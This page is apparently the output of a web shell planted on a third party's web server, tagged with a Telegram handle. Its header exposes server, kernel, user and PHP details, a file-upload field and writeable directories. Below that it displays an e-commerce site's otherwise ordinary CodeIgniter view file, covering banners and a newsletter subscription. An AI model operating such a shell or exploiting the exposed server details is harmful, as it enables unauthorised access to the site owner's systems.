https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /proc/self/root/var/www/laciasmara.com/public_html/shop/application/views/themes/3/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/var/www/laciasmara.com/public_html/shop/application/views/themes/3/welcome.php
<!-- Sliding Banner -->

<?php $this->load->view('components/main/sliding_banner'); ?>



<!-- Category -->

<?php $this->load->view('components/main/category'); ?>





<!-- Best Seller -->

<?php $this->load->view('components/main/products'); ?>



<!-- Testimonial -->

<?php $this->load->view('components/main/testimonial'); ?>



<!-- Brands -->

<?php $this->load->view('components/main/brands'); ?>



<!-- Benefit -->

<?php $this->load->view('components/main/benefits'); ?>



<!-- Sertifikasi -->

<?php $this->load->view('components/main/certification'); ?>



<!-- Company Text -->

<?php $this->load->view('components/main/company_text'); ?>



<!-- Subscription -->

<?php $this->load->view('components/main/subscription'); ?>

<?php $this->load->view('components/main/subscription_modal'); ?>



<script>

  const lang = {

    invalidEmailTitle: '<?= lang('invalid_email_title'); ?>',

    invalidEmailMessage: '<?= lang('invalid_email_message'); ?>',

    consentRequiredTitle: '<?= lang('consent_required_title'); ?>',

    consentRequiredMessage: '<?= lang('consent_required_message'); ?>',

    processingTitle: '<?= lang('processing_title'); ?>',

    processingMessage: '<?= lang('processing_message'); ?>',

    confirmButtonText: '<?= lang('confirm_button_text'); ?>',

    subscriptionSuccessTitle: '<?= lang('subscription_success_title'); ?>',

    subscriptionSuccessMessage: '<?= lang('subscription_success_message'); ?>',

    subscriptionFailedTitle: '<?= lang('subscription_failed_title'); ?>',

    subscriptionFailedMessage: '<?= lang('subscription_failed_message'); ?>',

    subscriptionErrorTitle: '<?= lang('subscription_error_title'); ?>',

    subscriptionErrorMessage: '<?= lang('subscription_error_message'); ?>',

    confirmButtonText: '<?= lang('confirm_button_text'); ?>',

    greatButtonText: '<?= lang('great_button_text'); ?>'

  };



  // CSRF

  const CSRF_TOKEN = "<?= $this->security->get_csrf_token_name(); ?>";

  const CSRF_HASH = "<?= $this->security->get_csrf_hash(); ?>";

  document.addEventListener("DOMContentLoaded", function() {

    // Subscription

    const modal = document.getElementById('subscriptionModal');

    const confirmButton = document.getElementById('confirmSubscription');

    const consentCheckbox = document.getElementById('consentCheckbox');

    const emailInput = document.getElementById('subscriptionEmail');



    consentCheckbox.addEventListener('change', function() {

      confirmButton.disabled = !this.checked;

    });



    window.addEventListener('click', function(event) {

      if (event.target === modal) {

        hideSubscriptionModal();

      }

    });



    document.querySelector('.subscription-form').addEventListener('submit', function(e) {

      e.preventDefault();

      handleSubscription();

    });





    const style = document.createElement('style');

    style.textContent = `

        .swal-wide {

            padding: 2rem;

            border-radius: 12px;

        }



        .swal-title {

            font-size: 1.5rem !important;

            margin-bottom: 1rem !important;

        }



        .swal-button {

            padding: 0.75rem 2rem !important;

            font-size: 1rem !important;

        }



        .swal2-popup {

            font-size: 1rem !important;

        }



        .swal2-icon {

            margin: 1.5rem auto !important;

        }



        .swal2-close:focus {

            box-shadow: none !important;

        }

      `;

    document.head.appendChild(style);

  });



  document.addEventListener('DOMContentLoaded', function() {

    let trackingTimeout;

    const TRACKING_DELAY = 1000;

    const BASE_URL = "<?= base_url() ?>";



    // Fungsi untuk track impression

    const trackImpression = async (bannerId) => {

      try {

        const response = await makeRequest(`${BASE_URL}welcome/track_impression`, {

          bannerId

        });

      } catch (error) {

        console.error('Error tracking impression:', error);

      }

    };



    // Setup Owl Carousel event listener dengan debounce

    const owlCarousel = document.querySelector('.owl-carousel');

    if (owlCarousel) {

      $(owlCarousel).on('translated.owl.carousel', function(event) {

        clearTimeout(trackingTimeout);



        trackingTimeout = setTimeout(() => {

          const activeSlide = event.target.querySelector('.owl-item.active');

          if (activeSlide) {

            const bannerContainer = activeSlide.querySelector('.carousel-item-container');

            const bannerId = bannerContainer?.dataset.bannerId;



            if (bannerId) {

              trackImpression(bannerId);

            }

          }

        }, TRACKING_DELAY);

      });



      // Track impression pertama kali saat halaman dimuat

      const initialActiveSlide = owlCarousel.querySelector('.owl-item.active');

      if (initialActiveSlide) {

        const bannerContainer = initialActiveSlide.querySelector('.carousel-item-container');

        const bannerId = bannerContainer?.dataset.bannerId;



        if (bannerId) {

          trackImpression(bannerId);

        }

      }

    }

  });



  // Fungsi helper untuk membuat form data dengan CSRF

  const createFormData = (data) => {

    const formData = new FormData();

    formData.append(CSRF_TOKEN, CSRF_HASH);

    Object.keys(data).forEach(key => {

      if (key === 'orderDetailData') {

        formData.append(key, JSON.stringify(data[key]));

      } else {

        formData.append(key, data[key]);

      }

    });

    return formData;

  };



  // Fungsi helper untuk request

  const makeRequest = async (url, data) => {

    const formData = createFormData(data);

    const response = await fetch(url, {

      method: 'POST',

      headers: {

        'X-Requested-With': 'XMLHttpRequest'

      },

      body: formData

    });

    return response.json();

  };



  function showSubscriptionModal() {

    const email = document.getElementById('subscriptionEmail').value;

    if (!isValidEmail(email)) {

      Swal.fire({

        title: lang.invalidEmailTitle,

        text: lang.invalidEmailMessage,

        icon: 'warning',

        confirmButtonText: lang.confirmButtonText,

        confirmButtonColor: '#2563eb',

        customClass: {

          popup: 'swal-wide',

          title: 'swal-title',

          confirmButton: 'swal-button'

        }

      });

      return;

    }

    document.getElementById('subscriptionModal').style.display = 'block';

    document.body.style.overflow = 'hidden'; // Prevent scrolling

  }



  function isValidEmail(email) {

    const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;

    return emailRegex.test(email);

  }



  function hideSubscriptionModal() {

    document.getElementById('subscriptionModal').style.display = 'none';

    document.body.style.overflow = '';

    document.getElementById('consentCheckbox').checked = false;

    document.getElementById('confirmSubscription').disabled = true;

  }



  function handleSubscription() {

    const email = document.getElementById('subscriptionEmail').value;

    const consentChecked = document.getElementById('consentCheckbox').checked;

    hideSubscriptionModal();



    // Validate email and consent

    if (!isValidEmail(email)) {

      Swal.fire({

        title: lang.invalidEmailTitle,

        text: lang.invalidEmailMessage,

        icon: 'warning',

        confirmButtonText: lang.confirmButtonText,

        confirmButtonColor: '#2563eb',

        customClass: {

          popup: 'swal-wide',

          title: 'swal-title',

          confirmButton: 'swal-button'

        }

      });

      return;

    }

    if (!consentChecked) {

      Swal.fire({

        title: lang.consentRequiredTitle,

        text: lang.consentRequiredMessage,

        icon: 'warning',

        confirmButtonText: lang.confirmButtonText,

        confirmButtonColor: '#2563eb',

        customClass: {

          popup: 'swal-wide',

          title: 'swal-title',

          confirmButton: 'swal-button'

        }

      });

      return;

    }



    // Show loading state

    Swal.fire({

      title: lang.processingTitle,

      text: lang.processingMessage,

      allowOutsideClick: false,

      allowEscapeKey: false,

      showConfirmButton: false,

      didOpen: () => Swal.showLoading()

    });



    // Prepare data for submission

    const formData = new FormData();

    formData.append('email', email);

    formData.append('consent', consentChecked);



    // Send subscription request

    fetch('<?= base_url("subscription/subscribe") ?>', {

        method: 'POST',

        headers: {

          'X-Requested-With': 'XMLHttpRequest',

          'Content-Type': 'application/x-www-form-urlencoded'

        },

        body: new URLSearchParams({

          email: formData.get('email'),

          <?= $this->security->get_csrf_token_name(); ?>: '<?= $this->security->get_csrf_hash(); ?>'

        })

      })

      .then(response => response.json())

      .then(data => {

        if (data.success) {

          // On success, close the modal and clear form

          hideSubscriptionModal();

          document.getElementById('subscriptionEmail').value = '';

          document.getElementById('consentCheckbox').checked = false;



          Swal.fire({

            title: lang.subscriptionSuccessTitle,

            text: lang.subscriptionSuccessMessage,

            icon: 'success',

            confirmButtonText: lang.greatButtonText,

            confirmButtonColor: '#2563eb',

            customClass: {

              popup: 'swal-wide',

              title: 'swal-title',

              confirmButton: 'swal-button'

            }

          });

        } else {

          hideSubscriptionModal();



          Swal.fire({

            title: lang.subscriptionFailedTitle,

            text: data.message || lang.subscriptionFailedMessage,

            icon: 'error',

            confirmButtonText: lang.confirmButtonText,

            confirmButtonColor: '#2563eb',

            customClass: {

              popup: 'swal-wide',

              title: 'swal-title',

              confirmButton: 'swal-button'

            }

          });

        }

      })

      .catch(error => {

        console.error('Error:', error);

        Swal.fire({

          title: lang.subscriptionErrorTitle,

          text: lang.subscriptionErrorMessage,

          icon: 'error',

          confirmButtonText: lang.confirmButtonText,

          confirmButtonColor: '#2563eb',

          customClass: {

            popup: 'swal-wide',

            title: 'swal-title',

            confirmButton: 'swal-button'

          }

        });

      });

  }



  function redirectToBestSeller() {

    window.location.href = "https://www.laciasmara.com/shop/category/best-seller";

  }



  function redirectToNewArrivals() {

    window.location.href = "https://www.laciasmara.com/shop/category/new-arrivals";

  }

</script>

https://t.me/RX1948 - 2025